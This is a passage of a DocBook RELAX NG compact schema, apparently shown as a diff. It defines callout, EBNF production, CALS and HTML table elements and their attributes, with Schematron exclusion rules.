db.co.role.attribute? + & db.common.idreq.attributes + & db.co.linkends.attribute? + & db.co.label.attribute? + db.co = + + ## The location of a callout embedded in text + element co { db.co.attlist, empty } +} +div { + db.coref.role.attribute = attribute role { text } + db.coref.label.attribute = db.label.attribute + db.coref.attlist = + db.coref.role.attribute? + & db.common.attributes + & db.linkend.attribute + & db.coref.label.attribute? + db.coref = + + ## A cross reference to a co + element coref { db.coref.attlist, empty } +} +div { + db.productionset.role.attribute = attribute role { text } + db.productionset.attlist = + db.productionset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.productionset.info = db._info.title.only + db.productionset = + + ## A set of EBNF productions + element productionset { + db.productionset.attlist, + db.productionset.info, + (db.production | db.productionrecap)+ + } +} +div { + db.production.role.attribute = attribute role { text } + db.production.attlist = + db.production.role.attribute? + & db.common.idreq.attributes + & db.common.linking.attributes + db.production = + + ## A production in a set of EBNF productions + element production { + db.production.attlist, db.lhs, db.rhs, db.constraint* + } +} +div { + db.lhs.role.attribute = attribute role { text } + db.lhs.attlist = + db.lhs.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.lhs = + + ## The left-hand side of an EBNF production + element lhs { db.lhs.attlist, text } +} +div { + db.rhs.role.attribute = attribute role { text } + db.rhs.attlist = + db.rhs.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.rhs = + + ## The right-hand side of an EBNF production + element rhs { + db.rhs.attlist, + (text | db.nonterminal | db.lineannotation | db.sbr)* + } +} +div { + db.nonterminal.role.attribute = attribute role { text } + db.nonterminal.def.attribute = + + ## Specifies a URI that points to a production + ## where the nonterminal + ## is defined + attribute def { text } + db.nonterminal.attlist = + db.nonterminal.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.nonterminal.def.attribute + db.nonterminal = + + ## A non-terminal in an EBNF production + element nonterminal { db.nonterminal.attlist, text } +} +div { + db.constraint.role.attribute = attribute role { text } + db.constraint.attlist = + db.constraint.role.attribute? + & db.common.attributes + & db.common.req.linking.attributes + db.constraint = + + ## A constraint in an EBNF production + element constraint { db.constraint.attlist, empty } +} +div { + db.productionrecap.role.attribute = attribute role { text } + db.productionrecap.attlist = + db.productionrecap.role.attribute? + & db.common.attributes + & db.common.req.linking.attributes + db.productionrecap = + + ## A cross-reference to an EBNF production + element productionrecap { db.productionrecap.attlist, empty } +} +div { + db.constraintdef.role.attribute = attribute role { text } + db.constraintdef.attlist = + db.constraintdef.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.constraintdef.info = db._info.title.only + db.constraintdef = + + ## The definition of a constraint in an EBNF production + element constraintdef { + db.constraintdef.attlist, db.constraintdef.info, db.all.blocks+ + } +} +db.char.attribute = + + ## Specifies the alignment character when align + ## is set to char + ## . + attribute char { text } +db.charoff.attribute = + + ## Specifies the percentage of the column's total width that should appear to the left of the first occurance of the character identified in char + ## when align + ## is set to char + ## . + attribute charoff { text } +db.frame.attribute = + + ## Specifies how the table is to be framed. Note that there is no way to obtain a border on only the starting edge (left, in left-to-right writing systems) of the table. + attribute frame { + + ## Frame all four sides of the table. In some environments with limited control over table border formatting, such as HTML, this may imply additional borders. + "all" + | + ## Frame only the bottom of the table. + "bottom" + | + ## Place no border on the table. In some environments with limited control over table border formatting, such as HTML, this may disable other borders as well. + "none" + | + ## Frame the left and right sides of the table. + "sides" + | + ## Frame the top of the table. + "top" + | + ## Frame the top and bottom of the table. + "topbot" + } +db.colsep.attribute = + + ## Specifies the presence or absence of the column separator + attribute colsep { text } +db.rowsep.attribute = + + ## Specifies the presence or absence of the row separator + attribute rowsep { text } +db.orient.attribute = + + ## Specifies the orientation of the table + attribute orient { + + ## 90 degrees counter-clockwise from the rest of the text flow. + "land" + | + ## The same orientation as the rest of the text flow. + "port" + } +db.tabstyle.attribute = + + ## Specifies the table style + attribute tabstyle { text } +db.rowheader.attribute = + + ## Indicates whether or not the entries in the first column should be considered row headers + attribute rowheader { + + ## Indicates that entries in the first column of the table are functionally row headers (analogous to the way that a thead provides column headers). + "firstcol" + | + ## Indicates that entries in the first column have no special significance with respect to column headers. + "norowheader" + } +db.align.attribute = + + ## Specifies the horizontal alignment of text in an entry. + attribute align { + + ## Centered. + "center" + | + ## Aligned on a particular character. + "char" + | + ## Left and right justified. + "justify" + | + ## Left justified. + "left" + | + ## Right justified. + "right" + } +db.valign.attribute = + + ## Specifies the vertical alignment of text in an entry. + attribute valign { + + ## Aligned on the bottom of the entry. + "bottom" + | + ## Aligned in the middle. + "middle" + | + ## Aligned at the top of the entry. + "top" + } +db.specify-col-by-colname.attributes = + + ## Specifies a column specification by name. + attribute colname { text } +db.specify-col-by-namest.attributes = + + ## Specifies a starting column by name. + attribute namest { text } +db.specify-span-by-spanspec.attributes = + + ## Specifies a span by name. + attribute spanname { text } +db.specify-span-directly.attributes = + + ## Specifies a starting column by name. + attribute namest { text } + & + ## Specifies an ending column by name. + attribute nameend { text } +db.column-spec.attributes = + db.specify-col-by-colname.attributes + | db.specify-col-by-namest.attributes + | db.specify-span-by-spanspec.attributes + | db.specify-span-directly.attributes +db.colname.attribute = + + ## Provides a name for a column specification. + attribute colname { text } +db.spanname.attribute = + + ## Provides a name for a span specification. + attribute spanname { text } +div { + db.tgroup.role.attribute = attribute role { text } + db.tgroup.tgroupstyle.attribute = + + ## Additional style information for downstream processing; typically the name of a style. + attribute tgroupstyle { text } + db.tgroup.cols.attribute = + + ## The number of columns in the table. Must be an integer greater than zero. + attribute cols { xsd:integer } + db.tgroup.attlist = + db.tgroup.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.char.attribute? + & db.charoff.attribute? + & db.tgroup.tgroupstyle.attribute? + & db.tgroup.cols.attribute + & db.colsep.attribute? + & db.rowsep.attribute? + & db.align.attribute? + db.tgroup = + + ## A wrapper for the main content of a table, or part of a table + element tgroup { + db.tgroup.attlist, + db.colspec*, + db.spanspec*, + db.cals.thead?, + db.cals.tfoot?, + db.cals.tbody + } +} +div { + db.colspec.role.attribute = attribute role { text } + db.colspec.colnum.attribute = + + ## The number of the column to which this specification applies. Must be greater than any preceding column number. Defaults to one more than the number of the preceding column, if there is one, or one. + attribute colnum { xsd:integer } + db.colspec.colwidth.attribute = + + ## Specifies the width of the column. + attribute colwidth { text } + db.colspec.attlist = + db.colspec.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.colspec.colnum.attribute? + & db.char.attribute? + & db.colsep.attribute? + & db.colspec.colwidth.attribute? + & db.charoff.attribute? + & db.colname.attribute? + & db.rowsep.attribute? + & db.align.attribute? + db.colspec = + + ## Specifications for a column in a table + element colspec { db.colspec.attlist, empty } +} +div { + db.spanspec.role.attribute = attribute role { text } + db.spanspec.namest.attribute = + + ## Specifies a starting column by name. + attribute namest { text } + db.spanspec.nameend.attribute = + + ## Specifies an ending column by name. + attribute nameend { text } + db.spanspec.attlist = + db.spanspec.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.spanname.attribute + & db.spanspec.namest.attribute + & db.spanspec.nameend.attribute + & db.char.attribute? + & db.colsep.attribute? + & db.charoff.attribute? + & db.rowsep.attribute? + & db.align.attribute? + db.spanspec = + + ## Formatting information for a spanned column in a table + element spanspec { db.spanspec.attlist, empty } +} +div { + db.cals.thead.role.attribute = attribute role { text } + db.cals.thead.attlist = + db.cals.thead.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.valign.attribute? + db.cals.thead = + + ## A table header consisting of one or more rows + element thead { db.cals.thead.attlist, db.colspec*, db.row+ } +} +div { + db.cals.tfoot.role.attribute = attribute role { text } + db.cals.tfoot.attlist = + db.cals.tfoot.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.valign.attribute? + db.cals.tfoot = + + ## A table footer consisting of one or more rows + element tfoot { db.cals.tfoot.attlist, db.colspec*, db.row+ } +} +div { + db.cals.tbody.role.attribute = attribute role { text } + db.cals.tbody.attlist = + db.cals.tbody.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.valign.attribute? + db.cals.tbody = + + ## A wrapper for the rows of a table or informal table + element tbody { db.cals.tbody.attlist, db.row+ } +} +div { + db.row.role.attribute = attribute role { text } + db.row.attlist = + db.row.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.rowsep.attribute? + & db.valign.attribute? + db.row = + + ## A row in a table + element row { db.row.attlist, (db.entry | db.entrytbl)+ } +} +div { + db.entry.role.attribute = attribute role { text } + db.entry.morerows.attribute = + + ## Specifies the number of additional rows which this entry occupies. Defaults to zero. + attribute morerows { xsd:integer } + db.entry.rotate.attribute = + + ## Specifies the rotation of this entry. FIXME: what are the legal values of this attribute? + attribute rotate { text } + db.entry.attlist = + db.entry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.valign.attribute? + & db.char.attribute? + & db.colsep.attribute? + & db.charoff.attribute? + & db.entry.morerows.attribute? + & db.column-spec.attributes? + & db.rowsep.attribute? + & db.entry.rotate.attribute? + & db.align.attribute? + db.entry = + + ## A cell in a table + element entry { + db.entry.attlist, (db.all.inlines* | db.all.blocks*) + } +} +div { + db.entrytbl.role.attribute = attribute role { text } + db.entrytbl.tgroupstyle.attribute = + + ## Additional style information for downstream processing; typically the name of a style. + attribute tgroupstyle { text } + db.entrytbl.cols.attribute = + + ## The number of columns in the entry table. Must be an integer greater than zero. + attribute cols { xsd:integer } + db.entrytbl.attlist = + db.entrytbl.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.char.attribute? + & db.charoff.attribute? + & db.column-spec.attributes? + & db.entrytbl.tgroupstyle.attribute? + & db.entrytbl.cols.attribute? + & db.colsep.attribute? + & db.rowsep.attribute? + & db.align.attribute? + db.entrytbl = + + ## A subtable appearing in place of an Entry in a table + element entrytbl { + db.entrytbl.attlist, + db.colspec*, + db.spanspec*, + db.cals.entrytbl.thead?, + db.cals.entrytbl.tbody + } +} +div { + db.cals.entrytbl.thead.role.attribute = attribute role { text } + db.cals.entrytbl.thead.attlist = + db.cals.entrytbl.thead.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.valign.attribute? + db.cals.entrytbl.thead = + + ## A table header consisting of one or more rows + element thead { + db.cals.entrytbl.thead.attlist, db.colspec*, db.entrytbl.row+ + } +} +div { + db.cals.entrytbl.tbody.role.attribute = attribute role { text } + db.cals.entrytbl.tbody.attlist = + db.cals.entrytbl.tbody.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.valign.attribute? + db.cals.entrytbl.tbody = + + ## A wrapper for the rows of a table or informal table + element tbody { db.cals.entrytbl.tbody.attlist, db.entrytbl.row+ } +} +div { + db.entrytbl.row.role.attribute = attribute role { text } + db.entrytbl.row.attlist = + db.entrytbl.row.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.rowsep.attribute? + & db.valign.attribute? + db.entrytbl.row = + + ## A row in a table + element row { db.entrytbl.row.attlist, db.entry+ } +} +div { + db.cals.table.role.attribute = attribute role { text } + db.cals.table.attlist = + db.cals.table.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.tabstyle.attribute? + & db.floatstyle.attribute? + & db.orient.attribute? + & db.colsep.attribute? + & db.rowsep.attribute? + & db.frame.attribute? + & db.pgwide.attribute? + & + ## Indicates if the short or long title should be used in a List of Tables + attribute shortentry { + + ## Indicates that the full title should be used. + "0" + | + ## Indicates that the short short title (titleabbrev) should be used. + "1" + }? + & + ## Indicates if the table should appear in a List of Tables + attribute tocentry { + + ## Indicates that the table should not occur in the List of Tables. + "0" + | + ## Indicates that the table should appear in the List of Tables. + "1" + }? + & db.rowheader.attribute? + db.cals.table.info = db._info.title.onlyreq + db.cals.table = + + ## A formal table in a document + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:informaltable)" + "informaltable must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element table { + db.cals.table.attlist, + db.cals.table.info, + (db.alt? & db.indexing.inlines* & db.textobject*), + (db.mediaobject+ | db.tgroup+), + db.caption? + } +} +div { + db.cals.informaltable.role.attribute = attribute role { text } + db.cals.informaltable.attlist = + db.cals.informaltable.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.tabstyle.attribute? + & db.floatstyle.attribute? + & db.orient.attribute? + & db.colsep.attribute? + & db.rowsep.attribute? + & db.frame.attribute? + & db.pgwide.attribute? + & db.rowheader.attribute? + db.cals.informaltable.info = db._info.title.forbidden + db.cals.informaltable = + + ## A table without a title + element informaltable { + db.cals.informaltable.attlist, + db.cals.informaltable.info, + (db.alt? & db.indexing.inlines* & db.textobject*), + (db.mediaobject+ | db.tgroup+), + db.caption? + } +} +db.html.coreattrs = + + ## This attribute assigns a class name or set of class names to an element. Any number of elements may be assigned the same class name or names. Multiple class names must be separated by white space characters. + attribute class { text }? + & + ## This attribute specifies style information for the current element. + attribute style { text }? + & + ## This attribute offers advisory information about the element for which it is set. + attribute title { text }? +db.html.i18n = + + ## This attribute specifies the base language of an element's attribute values and text content. The default value of this attribute is unknown. + attribute lang { text }? +db.html.events = + + ## Occurs when the pointing device button is clicked over an element. + attribute onclick { text }? + & + ## Occurs when the pointing device button is double clicked over an element. + attribute ondblclick { text }? + & + ## Occurs when the pointing device button is pressed over an element. + attribute onmousedown { text }? + & + ## Occurs when the pointing device button is released over an element. + attribute onmouseup { text }? + & + ## Occurs when the pointing device is moved onto an element. + attribute onmouseover { text }? + & + ## Occurs when the pointing device is moved while it is over an element. + attribute onmousemove { text }? + & + ## Occurs when the pointing device is moved away from an element. + attribute onmouseout { text }? + & + ## Occurs when a key is pressed and released over an element. + attribute onkeypress { text }? + & + ## Occurs when a key is pressed down over an element. + attribute onkeydown { text }? + & + ## Occurs when a key is released over an element. + attribute onkeyup { text }? +db.html.attrs = + db.common.attributes + & db.html.coreattrs + & db.html.i18n + & db.html.events +db.html.cellhalign = + + ## Specifies the alignment of data and the justification of text in a cell. + attribute align { + + ## Left-flush data/Left-justify text. This is the default value for table data. + "left" + | + ## Center data/Center-justify text. This is the default value for table headers. + "center" + | + ## Right-flush data/Right-justify text. + "right" + | + ## Double-justify text. + "justify" + | + ## Align text around a specific character. If a user agent doesn't support character alignment, behavior in the presence of this value is unspecified. + "char" + }? + & + ## This attribute specifies a single character within a text fragment to act as an axis for alignment. The default value for this attribute is the decimal point character for the current language as set by the lang attribute (e.g., the period in English and the comma in French). User agents are not required to support this attribute. + attribute char { text }? + & + ## When present, this attribute specifies the offset to the first occurrence of the alignment character on each line. If a line doesn't include the alignment character, it should be horizontally shifted to end at the alignment position. When charoff is used to set the offset of an alignment character, the direction of offset is determined by the current text direction (set by the dir attribute). In left-to-right texts (the default), offset is from the left margin. In right-to-left texts, offset is from the right margin. User agents are not required to support this attribute. + attribute charoff { text }? +db.html.cellvalign = + + ## Specifies the vertical position of data within a cell. + attribute valign { + + ## Cell data is flush with the top of the cell. + "top" + | + ## Cell data is centered vertically within the cell. This is the default value. + "middle" + | + ## Cell data is flush with the bottom of the cell. + "bottom" + | + ## All cells in the same row as a cell whose valign attribute has this value should have their textual data positioned so that the first text line occurs on a baseline common to all cells in the row. This constraint does not apply to subsequent text lines in these cells. + "baseline" + }? +db.html.table.attributes = + + ## Provides a summary of the table's purpose and structure for user agents rendering to non-visual media such as speech and Braille. + attribute summary { text }? + & + ## Specifies the desired width of the entire table and is intended for visual user agents. When the value is a percentage value, the value is relative to the user agent's available horizontal space. In the absence of any width specification, table width is determined by the user agent. + attribute width { text }? + & + ## Specifies the width (in pixels only) of the frame around a table. + attribute border { text }? + & + ## Specifies which sides of the frame surrounding a table will be visible. + attribute frame { + + ## No sides. This is the default value. + "void" + | + ## The top side only. + "above" + | + ## The bottom side only. + "below" + | + ## The top and bottom sides only. + "hsides" + | + ## The left-hand side only. + "lhs" + | + ## The right-hand side only. + "rhs" + | + ## The right and left sides only. + "vsides" + | + ## All four sides. + "box" + | + ## All four sides. + "border" + }? + & + ## Specifies which rules will appear between cells within a table. The rendering of rules is user agent dependent. + attribute rules { + + ## No rules. This is the default value. + "none" + | + ## Rules will appear between row groups (see thead, tfoot, and tbody) and column groups (see colgroup and col) only. + "groups" + | + ## Rules will appear between rows only. + "rows" + | + ## Rules will appear between columns only. + "cols" + | + ## Rules will appear between all rows and columns. + "all" + }? + & + ## Specifies how much space the user agent should leave between the left side of the table and the left-hand side of the leftmost column, the top of the table and the top side of the topmost row, and so on for the right and bottom of the table. The attribute also specifies the amount of space to leave between cells. + attribute cellspacing { text }? + & + ## Specifies the amount of space between the border of the cell and its contents. If the value of this attribute is a pixel length, all four margins should be this distance from the contents. If the value of the attribute is a percentage length, the top and bottom margins should be equally separated from the content based on a percentage of the available vertical space, and the left and right margins should be equally separated from the content based on a percentage of the available horizontal space. + attribute cellpadding { text }? +db.html.tablecell.attributes = + + ## Provides an abbreviated form of the cell's content and may be rendered by user agents when appropriate in place of the cell's content. Abbreviated names should be short since user agents may render them repeatedly. For instance, speech synthesizers may render the abbreviated headers relating to a particular cell before rendering that cell's content. + attribute abbr { text }? + & + ## This attribute may be used to place a cell into conceptual categories that can be considered to form axes in an n-dimensional space. User agents may give users access to these categories (e.g., the user may query the user agent for all cells that belong to certain categories, the user agent may present a table in the form of a table of contents, etc.). Please consult an HTML reference for more details. + attribute axis { text }? + & + ## Specifies the list of header cells that provide header information for the current data cell. The value of this attribute is a space-separated list of cell names; those cells must be named by setting their id attribute. Authors generally use the headers attribute to help non-visual user agents render header information about data cells (e.g., header information is spoken prior to the cell data), but the attribute may also be used in conjunction with style sheets. + attribute headers { text }? + & + ## Specifies the set of data cells for which the current header cell provides header information. This attribute may be used in place of the headers attribute, particularly for simple tables. + attribute scope { + + ## The current cell provides header information for the rest of the row that contains it + "row" + | + ## The current cell provides header information for the rest of the column that contains it. + "col" + | + ## The header cell provides header information for the rest of the row group that contains it. + "rowgroup" + | + ## The header cell provides header information for the rest of the column group that contains it. + "colgroup" + }? + & + ## Specifies the number of rows spanned by the current cell. The default value of this attribute is one (1 + ## ). The value zero (0 + ## ) means that the cell spans all rows from the current row to the last row of the table section (thead + ## , tbody + ## , or tfoot + ## ) in which the cell is defined. + attribute rowspan { text }? + & + ## Specifies the number of columns spanned by the current cell. The default value of this attribute is one (1 + ## ). The value zero (0 + ## ) means that the cell spans all columns from the current column to the last column of the column group (colgroup + ## ) in which the cell is defined. + attribute colspan { text }? +db.html.table.model = + db.html.caption, + (db.html.col* | db.html.colgroup*), + db.html.thead?, + db.html.tfoot?, + (db.html.tbody+ | db.html.tr+) +db.html.informaltable.model = + (db.html.col* | db.html.colgroup*), + db.html.thead?, + db.html.tfoot?, + (db.html.tbody+ | db.html.tr+) +div { + db.html.table.attlist = + db.html.attrs + & db.html.table.attributes + & db.orient.attribute? + & db.pgwide.attribute? + & db.tabstyle.attribute? + & db.floatstyle.attribute? + db.html.table = + + ## A formal table in a document + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:informaltable)" + "informaltable must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element table { db.html.table.attlist, db.html.table.model } +} +div { + db.html.informaltable.attlist = + db.html.attrs & db.html.table.attributes + db.html.informaltable = + + ## A table without a title + element informaltable { + db.html.informaltable.attlist, db.html.informaltable.model + } +} +div { + db.html.caption.attlist = db.html.attrs + db.html.caption = + + ## A caption + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:sidebar)" + "sidebar must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:task)" + "task must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element caption { db.html.caption.attlist, text } +} +div { + db.html.col.attlist = + db.html.attrs + & + ## This attribute, whose value must be an integer > 0, specifies the number of columns spanned + ## by the col + ## element; the col + ## element shares its attributes with all the columns it spans. The default value for this attribute is 1 (i.e., a single column). If the span attribute is set to N > 1, the current col + ## element shares its attributes with the next N-1 columns. + attribute span { text }? + & + ## Specifies a default width for each column spanned by the current col + ## element. It has the same meaning as the width + ## attribute for the colgroup + ## element and overrides it. + attribute width { text }? + & db.html.cellhalign + & db.html.cellvalign + db.html.col = + + ## Specifications for a column in an HTML table + element col { db.html.col.attlist, empty } +} +div { + db.html.colgroup.attlist = + db.html.attrs + & + ## This attribute, which must be an integer > 0, specifies the number of columns in a column group. In the absence of a span attribute, each colgroup + ## defines a column group containing one column. If the span attribute is set to N > 0, the current colgroup + ## element defines a column group containing N columns. User agents must ignore this attribute if the colgroup + ## element contains one or more col + ## elements. + attribute span { text }? + & + ## This attribute specifies a default width for each column in the current column group. In addition to the standard pixel, percentage, and relative values, this attribute allows the special form 0* + ## (zero asterisk) which means that the width of the each column in the group should be the minimum width necessary to hold the column's contents. This implies that a column's entire contents must be known before its width may be correctly computed. Authors should be aware that specifying 0* + ## will prevent visual user agents from rendering a table incrementally. This attribute is overridden for any column in the column group whose width is specified via a col + ## element. + attribute width { text }? + & db.html.cellhalign + & db.html.cellvalign + db.html.colgroup = + + ## A group of columns in an HTML table + element colgroup { db.html.colgroup.attlist, db.html.col* } +} +div { + db.html.thead.attlist = + db.html.attrs & db.html.cellhalign & db.html.cellvalign + db.html.thead = + + ## A table header consisting of one or more rows + element thead { db.html.thead.attlist, db.html.tr+ } +} +div { + db.html.tfoot.attlist = + db.html.attrs & db.html.cellhalign & db.html.cellvalign + db.html.tfoot = + + ## A table footer consisting of one or more rows + element tfoot { db.html.tfoot.attlist, db.html.tr+ } +} +div { + db.html.tbody.attlist = 